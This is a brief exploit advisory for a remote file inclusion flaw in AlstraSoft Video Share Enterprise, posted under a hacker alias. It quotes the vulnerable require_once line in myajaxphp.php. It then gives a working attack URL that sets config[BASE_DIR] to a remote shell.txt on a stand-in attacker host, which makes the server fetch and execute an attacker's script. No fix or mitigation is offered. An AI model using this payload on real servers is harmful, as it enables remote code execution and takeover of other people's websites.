AlstraSoft Video Share Enterprise Remote File Include Vulnerability

##Night_Warrior<Kurdish Hacker>
##night_warrior-[at]hotmail.com
##AlstraSoft Video Share Enterprise Remote File Include Vulnerability
##Contact : night_warrior-[at]hotmail.com
##hompage : www.alstrasoft.com
##vuln code :
myajaxphp.php line 11

require_once($config['BASE_DIR'] . "/ajax/cpaint2.inc.php");

http://www.example.com/[Script Path]/ajax/myajaxphp.php?config[BASE_DIR]=http://atacker.com/shell.txt?